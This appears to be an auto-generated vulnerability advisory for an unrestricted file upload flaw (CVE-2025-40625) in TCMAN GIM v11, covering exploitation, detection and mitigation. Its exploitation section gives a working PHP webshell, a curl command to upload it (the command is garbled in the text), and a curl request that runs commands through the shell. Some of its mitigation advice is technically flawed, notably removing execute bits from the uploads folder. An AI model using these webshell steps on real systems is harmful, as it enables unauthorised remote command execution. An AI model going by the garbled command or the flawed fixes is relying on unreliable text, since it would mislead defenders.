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How CVE-2025-40625 Works
CVE-2025-40625 is an unrestricted file upload vulnerability in TCMAN’s GIM v11. Attackers can upload arbitrary files, including malicious scripts, without authentication. The server fails to validate file types, extensions, or content, allowing RCE via uploaded webshells (e.g., PHP, JSP). The flaw stems from improper input sanitization in the `/upload` endpoint, where user-supplied files are stored in web-accessible directories. Attackers exploit this by sending crafted HTTP POST requests with malicious payloads, leading to full system compromise.
DailyCVE Form
Platform: TCMAN GIM
Version: v11
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 2025-05-13
What Undercode Say:
Exploitation
1. Craft malicious file:
<?php system($_GET['cmd']); ?>
2. Upload via curl:
curl -X POST -F "[email protected]" http://target.com/upload
3. Execute commands:
curl http://target.com/uploads/shell.php?cmd=id
Detection
1. Check upload directory permissions:
ls -la /var/www/html/uploads/
2. Audit web server logs for suspicious uploads:
grep "POST /upload" /var/log/apache2/access.log
Mitigation
1. Patch: Apply vendor updates.
2. Input validation: Restrict file extensions:
$allowed = ['jpg', 'png'];
if (!in_array($ext, $allowed)) { die("Invalid file"); }
3. File content verification:
file --mime-type uploads/userfile | grep -v "image/"
4. Disable execute permissions:
chmod -R -x /var/www/html/uploads/
Analytics
- Attack surface: Exposed `/upload` endpoints.
- Indicators: Unusual files (e.g.,
.php,.jsp) in upload directories. - CVSS 4.0: 9.3 (AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H).
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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